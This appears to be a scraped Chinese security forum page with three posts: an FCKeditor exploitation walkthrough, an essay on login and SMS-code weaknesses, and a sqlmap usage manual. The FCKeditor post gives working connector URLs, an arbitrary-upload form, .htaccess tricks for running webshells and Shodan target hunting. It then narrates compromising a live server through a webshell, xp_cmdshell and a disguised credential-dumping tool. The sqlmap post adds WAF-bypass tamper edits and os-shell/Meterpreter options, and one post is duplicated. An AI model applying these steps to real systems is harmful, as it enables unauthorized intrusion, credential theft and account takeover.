(3)获取当前文件夹
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
 
(4)浏览E盘文件
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
 
(5)JSP 版本
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/
 
9.修改Media 类型进行上传
FCKeditor 2.4.2  For php以下版本在处理PHP上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址为实际地址:
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
 
 
10.htaccess文件突破
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
(1).htaccess文件内容
AppType  application/x-httpd-php  .jpg
 
另外一种方法也可以,其内容为: 
<FilesMatch "cimer">
SetHandler application/x-httpd-php
</FilesMatch>
 
上传带cimer后缀的webshell文件,访问地址即可得到webshell
(2)上传.htaccess文件
(3)上传图片木马
(4)借助该漏洞,可以实现webshell的访问
 
1.1.2搜索FCKeditor目标
 
1.在shodan.io网站搜索FCKeditor关键字
   在shodan.io网站搜索FCKeditor关键字
https://www.shodan.io/search?query=”FCKeditor”对关键字进行查询,不同的关键字其出来的效果不一样。
 
 
2.逐个查看目标记录信息
   对shodan.io网站搜索的24条记录进行逐个查看,也即单击shodan搜索记录中的Details链接,即可查看目标的详细信息,如图3所示,建议新建窗口打开该链接地址,在该IP地址信息中包含国家、城市、组织、ISP和端口等信息。
 
1.1.3漏洞利用及分析
 
1.根据端口访问服务器
   单击shodan中搜索出来的服务信息中的绿色转向箭头即可直接访问目标服务器。
 
 
2.对网站目录进行逐个查看获取Fckedit漏洞利用页面
   通过对该网站fckeditor 编辑器所在文件夹进行逐层访问,获取其上传测试页面地址:
http://***.1**.***.***:8081/fckeditor/editor/filemanager/upload/test.html

 
3.查看和验证上传文件
    如图6所示,到该网站/UserFiles/目录,可以看到上传的2014.aspx及cmd.php文件。
 
 
4.获取webshell及数据库密码
单击/UserFiles/目录中的2014.aspx文件,直接获取webshell。
 
 
5.服务器提权并获取服务器密码
(1)获取服务器架构
(2)连接数据库恢复xp_cmdshell
    在webshell中单击DataBase进行数据库管理,选择mssql,然后输入sa账号对应的密码,进行连接,连接成功后,在SQLExec中选择Add xp_cmdshell。
(3)获取当前数据库管理员密码明文
将wce64.exe进行免杀处理,然后上传到服务器上,通过xp_cmdshell执行命令:
Exec master.dbo.xp_cmdshell 'E:\dlty\UserFiles\wce64 -w'
 
 1.1.4渗透总结及分析
1. sqlserver 2000直接提权。在本例中还可以通过sqlmap进行mssql数据库直连进行提权以及执行命令等操作,由于本案例中的数据库是sqlserver 2000,sa账号可以直接提权到服务器权限。
2.Fckeditor中的test.html文件可以直接上传任意文件类型
3.可以通过Fckeditor还可以浏览目录。这个在渗透中特别有用,可以用来查看网站的目录结构,运气好,可以查看xml配置文件,以及下载源代码文件等。
4.在本案例中的目录信息危害太大。可以对所有文件及目录进行查看,即使未获取编辑器漏洞,也可以通过源代码文件获取数据库密码。

基于Web页面验证码机制漏洞的检测

flaray 发表了文章 • 0 个评论 • 50 次浏览 • 2019-03-16 10:43 • 来自相关话题

一、不可靠的前端校验
在现实环境中,会有许多的网站他们没有严格进行身份校验,他们往往是通过依靠帐号密码发送后回传的状态码来判断用户身份是否正确,这就暴露出了很大的漏洞,这种漏洞利用起来就相当的容易,往往只需要一个安全界的神器BURP就可以完成身份验证的绕过,在登录的时候输入正确的账户以及随意的密码,将报文拦截下来,然后选择burp里面的拦截返回包的功能,捕捉返回的状态码。
将返回包中的状态码修改为正常登录的状态码,当然这里的状态码不一定都是0和1这种,各种状态码都有可能存在,那么我们怎么样判断正确的状态码是什么呢?
这里我们就需要自己手动注册一个用户,然后进行正常登录,并且抓取返回的状态码,当你发现发回的报文中,仅仅只存在状态码,并没有其他set-cookie或者tocken等信息的时候,那么这个登录界面就有极大的可能性存在这种漏洞。这是比较致命的一种漏洞,那么你可能就会有其他的问题了,即使他存在了这种漏洞,但是我们不太可能拥有其他大量的帐号,这个漏洞的危害不就没什么用了码?这就是我接下来要说的问题。
 
 二、遍历手机号
 
 
现在大多数的网站都存在着手机号注册的这一个功能,一般来说同一个手机号只能注册一个帐号,所以手机号也是能作为帐号,这就是能利用的一个点,当手机号能成为帐号的时候,那么之前所存在的疑问就解决了一半,既然知道手机是可以用来登录的帐号,那么如何来获得这些手机号呢?这个问题其实是一个非常好的问题,对于手机号来说,一共有11位数,要想胡乱的猜测一个手机号是否在这个平台上注册过,一次性猜中的概率是微乎其微,但是有的网站的忘记密码这一功能就存在利用的方法(不过这种漏洞厂商大多数是忽略的),但是我认为他的危害性还是有的。在我们忘记密码的时候输入手机号码,发送手机验证码的时候,部分网站都会先查询这个手机号是否在这个网站上注册过,要是没有则会提示号码不存在,存在则发送短信。那么可以使用这一个逻辑来进行用户手机号遍历。顺带提一下手机号码可以使用手机号码字典生成器来生成,然后用来遍历。
 
 

 
 
如图所示,用户不存在则是另外的信息。我们只需根据length长度来辨别,也可以自己写py脚本来遍历保存注册用户。这一个点可以获取到大量的用户手机号。
 
 三、可爆破的手机验证码
 
 
前面介绍了前端校验绕过的方法以及用户手机号获取的方式,接下来来讲解一下手机验证码的问题。我放一张思维导图来供大家参考
 
 
手机验证码存在的位置可能有三个点:登录、注册、密码找回这三个点。其中注册这个点的危害相对较小,除非找到一个可以批量注册帐号的点。
 
 
那么危害较大的就剩下登录和密码找回了,实际这两个点的原理是一样的,只不过利用的环境有所不同。
 
 
目前登录时候使用手机验证码登录的网站数量不是占很大的百分比,本文就以找回密码这块来说明。
 
 
我们在测试之前首先要进行判断的时候他的手机短信验证码的长度、时效以及页面是否存在有比较难的图片验证码,也就是难以用python的库直接识别的图片验证码(识别率低于50%)。这是我们首先要注意的,其次提交一次表单,抓包来看看,是否存在有前端加密,或者sign等。我以手机验证码长度为4位和6位来分类。
 
 第一类:4位手机验证码
 
 
当我们发现手机验证码长度为4位的时候,时效为5分钟左右,并且没有什么复杂前端加密或者sign和复杂的图片验证码的时候,那么恭喜你,你可能找到了一个可以爆破出验证码的点,这种漏洞虽然是爆破,但是他利用所花费的时间确实非常低的,通常可以在很短的时间内重置或者登录一个手机号。这对厂商来说就是一个高危漏洞,相信他会给你不错的报酬。
 
 
上面的这种属于较为简单的漏洞,笔者在前段时间测试的时候发现了带有sign标记的4位验证码,这种的爆破的难度就有所提升了,他的sign是根据当前的时间戳以及手机号验证码等信息进行加密后生成的,要想去破解这个加密算法,是不太现实的。于是笔者就使用了一种骚思路,可能各位安全界的大佬们也用过,那就是python的selenium库来模拟浏览器自动化点击测试,但是这个就需要自己去根据网站的实际情况以及窗口位置来编写脚本。关于selenium的提供一个学习链接。
 
 第二类:6位手机验证码
 
 
通常来说6位的验证码,30分钟的时效是一个挺安全的设计,因为在30分钟内想跑完100W条数据的难度还是挺大,并且网站通常会根据发包速率来进行限制,一旦你的发包速率突破设定,你将会被403,也就是你的IP会被封禁一段时间,有这些设置的验证码是安全的,但是如果说时效在1小时甚至更长,并且不限制IP的发包速率了话,那么利用也是可以利用的,只不过利用的成本过高,所以基本不考虑。因此在导图中写到基本不不去考虑。
 
 
 
 
 四、现实环境下的漏洞案例思路以及分析
 
 
接下来给大家带来一个真实的漏洞案例,也是我本人所挖掘到的一个高危漏洞
 
 

在登陆界面,由于图片验证码长期有效,所以猜测可以爆破。
 
 
通过两次提交发现图片验证码在一定时间内是不会发生变化的,尽管已经经过了一次校验 。因为查看js发现验证码是由手机验证码经过sha256后从第六位开始取4位收到的验证码,测试时候输入的验证码为1602
 
 
证明了这个加密算法,于是利用脚本生成了0000-9999的加密后的字典用来爆破。在爆破过程中发现,验证码的时效1分钟左右,并不足以完成爆破。于是就换了另外一种思路,既然通过爆破是没有办法完成验证码的限制,则想到了程序员在编写代码的时候他会不会犯一种错误,猜想他是否会将过期后的验证码重置为一串特定的字符。既然有了这种猜想,那么就肯定需要来进行一波验证,首先根据他的加密算法发现他的是sha256,也就是每一位验证码数据只会在0-f之间生成,于是生成了一个0000-ffff的字典,来进行了一波爆破,就如猜想的一样,爆破出一个意外的数值,当然并不是在第一次爆破过程中发现的,第一次可能是一个意外,于是我便借用了别人的手机进行了几次尝试后,发现这个数值是固定的,那么这个漏洞就证明成立的了。
 
 
这样就挖掘出了一个任意登录帐号的漏洞,刚好这个网站又存在如之前所说的手机号遍历的问题,于是结合这两个点所产生的结果就是可以登录任意用户。
 
 
当然关于挖掘到这方面的漏洞不止一个,但是碍于厂商修复尚未完成不宜公开其他漏洞 
 
 
分析:对于这个漏洞点的发现其实是因为当时测试时候的突发奇想,本身这个漏洞前端sha256加密截取4位这个算法不认真找都不容易发现,单单是这一个点就能拦住许多想爆破的人,验证码本身是为0000-9999的纯数字,很难联想到是从sha256中截取的字符串,但是当你绕过这个问题的时候,验证码的时效性就又成为了你的下一个问题,笔者在挖掘出这个特殊字符串的时候也是有点吃惊的,毕竟这个想法是我在挖掘的时候的突发奇想,也就是脑子一热冒出来的想法。所以当你在挖掘的时候被一个点困住的时候,不要死磕,可以发散一下思维说不定就能想到设计者在设计的时候所可能犯下的错误,4299这个数字在爆破出来后我对原先加密算法的字典里进行了一波搜索,发现并不存在4299这个数值的,可能设计者当初在设计的时候认为4299并2不属于任何0000-9999加密后的数值,以为这么设计不会产生问题。其实漏洞挖掘本身就是一个三分实力七分运气的事,本着常心肯定会挖掘出的。所以提升自己的能力、改善自己的心态将会成为你挖掘漏洞的时候的一大利器。
转自:https://www.freebuf.com/vuls/197632.html​ 查看全部
一、不可靠的前端校验
在现实环境中,会有许多的网站他们没有严格进行身份校验,他们往往是通过依靠帐号密码发送后回传的状态码来判断用户身份是否正确,这就暴露出了很大的漏洞,这种漏洞利用起来就相当的容易,往往只需要一个安全界的神器BURP就可以完成身份验证的绕过,在登录的时候输入正确的账户以及随意的密码,将报文拦截下来,然后选择burp里面的拦截返回包的功能,捕捉返回的状态码。
将返回包中的状态码修改为正常登录的状态码,当然这里的状态码不一定都是0和1这种,各种状态码都有可能存在,那么我们怎么样判断正确的状态码是什么呢?
这里我们就需要自己手动注册一个用户,然后进行正常登录,并且抓取返回的状态码,当你发现发回的报文中,仅仅只存在状态码,并没有其他set-cookie或者tocken等信息的时候,那么这个登录界面就有极大的可能性存在这种漏洞。这是比较致命的一种漏洞,那么你可能就会有其他的问题了,即使他存在了这种漏洞,但是我们不太可能拥有其他大量的帐号,这个漏洞的危害不就没什么用了码?这就是我接下来要说的问题。
 
 二、遍历手机号
 
 
现在大多数的网站都存在着手机号注册的这一个功能,一般来说同一个手机号只能注册一个帐号,所以手机号也是能作为帐号,这就是能利用的一个点,当手机号能成为帐号的时候,那么之前所存在的疑问就解决了一半,既然知道手机是可以用来登录的帐号,那么如何来获得这些手机号呢?这个问题其实是一个非常好的问题,对于手机号来说,一共有11位数,要想胡乱的猜测一个手机号是否在这个平台上注册过,一次性猜中的概率是微乎其微,但是有的网站的忘记密码这一功能就存在利用的方法(不过这种漏洞厂商大多数是忽略的),但是我认为他的危害性还是有的。在我们忘记密码的时候输入手机号码,发送手机验证码的时候,部分网站都会先查询这个手机号是否在这个网站上注册过,要是没有则会提示号码不存在,存在则发送短信。那么可以使用这一个逻辑来进行用户手机号遍历。顺带提一下手机号码可以使用手机号码字典生成器来生成,然后用来遍历。
 
 

 
 
如图所示,用户不存在则是另外的信息。我们只需根据length长度来辨别,也可以自己写py脚本来遍历保存注册用户。这一个点可以获取到大量的用户手机号。
 
 三、可爆破的手机验证码
 
 
前面介绍了前端校验绕过的方法以及用户手机号获取的方式,接下来来讲解一下手机验证码的问题。我放一张思维导图来供大家参考
 
 
手机验证码存在的位置可能有三个点:登录、注册、密码找回这三个点。其中注册这个点的危害相对较小,除非找到一个可以批量注册帐号的点。
 
 
那么危害较大的就剩下登录和密码找回了,实际这两个点的原理是一样的,只不过利用的环境有所不同。
 
 
目前登录时候使用手机验证码登录的网站数量不是占很大的百分比,本文就以找回密码这块来说明。
 
 
我们在测试之前首先要进行判断的时候他的手机短信验证码的长度、时效以及页面是否存在有比较难的图片验证码,也就是难以用python的库直接识别的图片验证码(识别率低于50%)。这是我们首先要注意的,其次提交一次表单,抓包来看看,是否存在有前端加密,或者sign等。我以手机验证码长度为4位和6位来分类。
 
 第一类:4位手机验证码

 
 
当我们发现手机验证码长度为4位的时候,时效为5分钟左右,并且没有什么复杂前端加密或者sign和复杂的图片验证码的时候,那么恭喜你,你可能找到了一个可以爆破出验证码的点,这种漏洞虽然是爆破,但是他利用所花费的时间确实非常低的,通常可以在很短的时间内重置或者登录一个手机号。这对厂商来说就是一个高危漏洞,相信他会给你不错的报酬。
 
 
上面的这种属于较为简单的漏洞,笔者在前段时间测试的时候发现了带有sign标记的4位验证码,这种的爆破的难度就有所提升了,他的sign是根据当前的时间戳以及手机号验证码等信息进行加密后生成的,要想去破解这个加密算法,是不太现实的。于是笔者就使用了一种骚思路,可能各位安全界的大佬们也用过,那就是python的selenium库来模拟浏览器自动化点击测试,但是这个就需要自己去根据网站的实际情况以及窗口位置来编写脚本。关于selenium的提供一个学习链接
 
 第二类:6位手机验证码
 

 
通常来说6位的验证码,30分钟的时效是一个挺安全的设计,因为在30分钟内想跑完100W条数据的难度还是挺大,并且网站通常会根据发包速率来进行限制,一旦你的发包速率突破设定,你将会被403,也就是你的IP会被封禁一段时间,有这些设置的验证码是安全的,但是如果说时效在1小时甚至更长,并且不限制IP的发包速率了话,那么利用也是可以利用的,只不过利用的成本过高,所以基本不考虑。因此在导图中写到基本不不去考虑。
 
 
 
 
 四、现实环境下的漏洞案例思路以及分析
 
 
接下来给大家带来一个真实的漏洞案例,也是我本人所挖掘到的一个高危漏洞
 
 

在登陆界面,由于图片验证码长期有效,所以猜测可以爆破。
 
 
通过两次提交发现图片验证码在一定时间内是不会发生变化的,尽管已经经过了一次校验 。因为查看js发现验证码是由手机验证码经过sha256后从第六位开始取4位收到的验证码,测试时候输入的验证码为1602
 
 
证明了这个加密算法,于是利用脚本生成了0000-9999的加密后的字典用来爆破。在爆破过程中发现,验证码的时效1分钟左右,并不足以完成爆破。于是就换了另外一种思路,既然通过爆破是没有办法完成验证码的限制,则想到了程序员在编写代码的时候他会不会犯一种错误,猜想他是否会将过期后的验证码重置为一串特定的字符。既然有了这种猜想,那么就肯定需要来进行一波验证,首先根据他的加密算法发现他的是sha256,也就是每一位验证码数据只会在0-f之间生成,于是生成了一个0000-ffff的字典,来进行了一波爆破,就如猜想的一样,爆破出一个意外的数值,当然并不是在第一次爆破过程中发现的,第一次可能是一个意外,于是我便借用了别人的手机进行了几次尝试后,发现这个数值是固定的,那么这个漏洞就证明成立的了。
 
 
这样就挖掘出了一个任意登录帐号的漏洞,刚好这个网站又存在如之前所说的手机号遍历的问题,于是结合这两个点所产生的结果就是可以登录任意用户。
 
 
当然关于挖掘到这方面的漏洞不止一个,但是碍于厂商修复尚未完成不宜公开其他漏洞 
 
 
分析:对于这个漏洞点的发现其实是因为当时测试时候的突发奇想,本身这个漏洞前端sha256加密截取4位这个算法不认真找都不容易发现,单单是这一个点就能拦住许多想爆破的人,验证码本身是为0000-9999的纯数字,很难联想到是从sha256中截取的字符串,但是当你绕过这个问题的时候,验证码的时效性就又成为了你的下一个问题,笔者在挖掘出这个特殊字符串的时候也是有点吃惊的,毕竟这个想法是我在挖掘的时候的突发奇想,也就是脑子一热冒出来的想法。所以当你在挖掘的时候被一个点困住的时候,不要死磕,可以发散一下思维说不定就能想到设计者在设计的时候所可能犯下的错误,4299这个数字在爆破出来后我对原先加密算法的字典里进行了一波搜索,发现并不存在4299这个数值的,可能设计者当初在设计的时候认为4299并2不属于任何0000-9999加密后的数值,以为这么设计不会产生问题。其实漏洞挖掘本身就是一个三分实力七分运气的事,本着常心肯定会挖掘出的。所以提升自己的能力、改善自己的心态将会成为你挖掘漏洞的时候的一大利器。
转自:https://www.freebuf.com/vuls/197632.html​

SQLMAP深度解析及使用手册

llpkk 发表了文章 • 0 个评论 • 129 次浏览 • 2019-03-09 22:33 • 来自相关话题

在学习了基础的SQL注入原理之后便开始了SQL注入之路,比如写SQLi和一些CTF中的sql注入题。但是总能够发现自己的一些问题。比如闭合符通常找不到,有一些关键字都被过滤自己却无法GET到绕过的骚姿势,还有就是无论输入什么他都不会有任何反应等等一系列的问题。而在了解了sqlmap的强大的自动化之外,每次只是 -u "url"

如果第一次用sqlmap扫不出来的话顶多会将参数改为-u "url" --risk3 --level3 //如果这次也测不出来的话我就会说在心里说一句sqlmap哪里强大了,同时也会感叹自己的知识储备太垃圾了



 而今天在freebuf社区中看到了一篇关于SQLMAP的深度解析,仔细看了看之后确实涨了姿势。
SQLMAP深度解析及使用手册
0X00 背景
写这篇技术文有两个诱因,一是大菲兄弟@大菲哥和朋友从国外买了一篇二十美刀的XSS文章,做了翻译,自古XSS和sql注入是倚天屠龙的对立统一关系,所以有朋友说想看一看sql注入的文章。

二是大概一年前一朋友对sqlmap的使用除了-u参数几乎一无所知,让我给做了个使用手册,刚好拿出来在此基础上进行完善和优化。
我本人是owasp北京分会的负责人,owasp的top10几乎一直是sql注入独揽第一,所以也想就这个机会把sql注入好好给大家聊一聊,本文也参考了众多前辈的经验,在这里向每个奉献、开源的前辈说一声感谢。

有些朋友说想让聊聊手工注入,首先我个人手工注入技巧不是很好,再者手工注入需要一定的技术积累和编程底子,受众有限,后期有机会再深入谈。我个人在渗透上的看法是工具是人类进步的象征,工具的使用绝对是自动化、智能化和量化不可或缺的内容,当然,工具毕竟是死的,好的安全人肯定是左手自动化右手人工。
0X01 SqlMap介绍及分析
SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令.sqlmap is anopen source penetration testing tool that automates the process of detectingand exploiting SQL injection flaws and taking over of database servers. Itcomes with a powerful detection engine, many niche features for the ultimatepenetration tester and a broad range of switches lasting from database fingerprinting,over data fetching from the database, to accessing the underlying file systemand executing commands on the operating system via out-of-band connections.(源于官方介绍)








SQLMAP支持的数据包括:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库。
SQLMAP目前支持的注入方式包括(默认全进行):l B: Boolean-based blind SQL injection(布尔型注入)

l E: Error-based SQL injection(报错型注入)

l U: UNION query SQL injection(可联合查询注入)

l S: Stacked queries SQL injection(可多语句查询注入)

l T: Time-based blind SQL injection(基于时间延迟注入)

l Q: Inline SQL Injection (内联注入)
SQLMAP 分析:
SQLMAP的功能模块参数由几大类构成(见下表),分别是:  





 
0X02 Sqlmap使用经验总结
以下参数在进行SQL注入时配置恰当会使得注入攻击事半功倍。以下是笔者对SQLmap 使用的经验总结:[size=20]1 [/size]在使用-v参数的时候,尽量选择,3级别,次级别可以显示注入的参数。 例如:sqlmap -v3 -u www.potian.com
[size=20]2 [/size]当一件知道数据库信息的时候,使用-d直接连接数据库,注意-D是指定目标库,要区分。
例如:-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER [size=20]3 [/size] 当使用Burp或WebScarab保存了日志的时候,想从日志文件中筛选目标,可使用-I使用 绝对路径地址即可。
4 -g可以使用google的搜索结果,例如,直接搜索uid=,查找具有此参数的站点,直接使用sqlmap调用google结果,例:sqlmap -g inurl:php?uid=。(收集了一些语句,在附表)当需要使用-g inurl:php?uid=等参数时,默认无法访问,可使用此参数+海外代理方式使用此功能。当代理需要验证的时候,使用-cre指定身份信息,需要使用代理轮巡时,使用文件加载代理设置列表,使用代理轮询也可在对访问ip次数进行了验证的场景使用。(鉴于我国国情,不建议使用)
5 服务端允许的情况下,–method改变默认的http方法,和其他参数配合使用,例如–data,改变为post然后推送数据。
6 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来指定想使用的UA,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入.另外UA是绕过waf的参数,–user-agent= –random-agent这两个参数可对waf针对恶意ua的防控进行绕过。
7 指定http请求中的header里的host参数、在请求中伪造referer,有些waf和安全产品等会对refer进行限制,仅允许本站referer,当waf参数对referer进行了限制后,可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type
8 HTTP代理身份验证凭据,可自动使用username:password和秘钥文件,例如有些访问会使用key文件,集团sso最爱出现此种场景,在这种身份验证凭据的需求中,也可使用-I参数使用burp等代理记录文件来使用身份凭据
9 设置http请求间隔时间,在绕过需求时使用,例如单ip单位时间访问多少次,可配合代理和多代理参数使用。超时连接后的尝试间隔,默认30s,可手动调整,一般–timeout和–retries配合使用
10 有的网站会对提交的参数进行编码或加密,这时候需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
例子:–eval=”"import hashlib;hash=hashlib.md5(id).hexdigest()”"上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。”
11 sqlmap默认测试所有的GET和POST参数,上文提到过,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。 例如:-p “”id,cookie”"但是有个别参数不想测试的时候可以使用–skip=“user-agent”参数。
12 数值处理:参数:–invalid-bignum –invalid-logical这两个参数对报错数据、无效数据进行更改,例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑,比如uid=999999999和uid=20 and a=b
参数:–prefix,–suffix在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,例如在语句中增加–prefix “”’)”" –suffix “”AND (’1’=’1″”
13 –tamper可从tamper库里查找相关内容,使用–tamper tamper/*.py方式指定
14 上文多次解释–level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。
–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。
15 risk从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。
警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。
16 “sqlmap测试结果取决于返回内容,当页面在刷新或更新后,可能导致返回不同的内容,特别是页面有动态内容的情况下。为了避免误报,可指定字符串或者正则表达式来区分原始页面和报错页面(–string参数添加字符串,–regexp添加正则),也可以提供一段字符串在原始页面与true下的页面都不存在的字符串,而false页面中存在的字符串(–not-string添加)。
用户也可以提供true与false返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,–code=200。
17 默认sqlmap会把BEUSTQ六中注入方式全来一遍,可根据实际情况进行调整,例如可使用时间延迟,看网站响应时间来判断是否有注入,可根据报错判断注入。如果不是很懂,就不用管,虽然时间长点,但很全面。
B:Boolean-based blind SQL injection(布尔型注入)
E:Error-based SQL injection(报错型注入)
U:UNION query SQL injection(可联合查询注入)
S:Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: Inline SQL Injection (内联注入)
当使用基于时间延迟注入的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒,可以根据环境记性调整,比如网络延迟很大,可适当增加延时时间
18 –union-cols设定的值为一段整数范围,制定区间,此数值默认为1-10,随着–levle增加,当为5的时候增加为50,当level级别和取值范围不匹配,在低级别需求更大的范围,可通过设定–union-cols的值来实现。设定union查询使用的字符,默认使用NULL,但是可能会返回失败,–union-char指定UNION查询的字符。指定查询的表,配合上文暴力破解的字符、范围等来详细使用。
19 在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,通过-D\-T\-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。 –exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。
当我们不想跑路的时候,那么请使用下面内容:
–start=LIMITSTART First query output entry to retrieve指定从第几行开始输出,如:
–start=1
–stop=LIMITSTOP
Last query output entry to retrieve
指定从第几行停止输出
–stop=10
–first=FIRSTCHAR
First query output word character to retrieve
指定从第几个字符开始输出
–first 1
–last=LASTCHAR
Last query output word character to retrieve
指定从第几个字符停止输出–last10
20 暴力检查:猜测检查常见的、通用的表名和列名,可通过下面两个文件进行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中
21 对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。针对文件系统的读写:对–file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过–file-dest指定绝对文件路径。” 当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程 –os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它:
1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof。
22 所见即所得,注册表连接指的是windows系统,相信大家都有windows系统知识,不懂注册表基本就不懂windows系统,所有的windows系统配置在注册表里都可实现,比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等,reg可对注册表内容进行读取、编辑、和删除,上面和下面相配合可实现对指定的key、value、data和类型进行操作。
23 –batch
在使用sqlmap时,有时一些响应需要用户交互,输入Y、N、skip、quit等,使用此选项可使用默认配置。
–output-dir=
指定输出路径,方式控制台输出过多,无法查看,也方便记录
–gpage=GOOGLEPAGE
好像默认是使用google搜索的前100个文件,当使用前面的-g参数,配合此参数指定页面
–identify-waf
进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别
–mobile
使用移动产品UA,把sqlmap伪装成手机,也可使用前面的
-user-agent
自己指定
–smart
智能深度启发式扫描,或许会有惊喜呢。
–wizard 和上面的完全不同,纯新手选择,一步步让你输入url等参数,基本输入个url就行。
 
 
0X03 Sqlmap实操语句
手工基本检测和判断(在注入点使用or、and等可判断是否有注入点)       
原始网页:http://www.potian.com/mysql/product/user_info.phpuid=1024 构造url1:http://www.potian.com/mysql/product/user_info.phpuid=1024+AND+1=1构造url2:http://www.potian.com/mysql/product/user_info.phpuid=1 024+AND+1=1025     
基础检测语法   sqlmap.py -u http://www.potian.com/mysql/product/user_info.php?uid=1 024
     
批量检测  “sqlmap.py -m target.txt” //注意target.txt跟sqlmap在同一个目录下。     
绕过WAF进行SQL注入     
修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 为:return match.group().replace(word, ”/*!50000%s*/” % word) 修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>为:<castquery=”convert(%s,CHAR)”/> 使用sqlmap进行注入测试sqlmap.py -u ”http://www.potian.com/detail.php id=16″ –tamper “halfversionedmorekeywords.py” 其它绕过waf脚本方法:sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.phpuid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 
tamper目录下文件具体含义:space2comment.py
用/**/代替空格
apostrophemask.py
用utf8代替引号
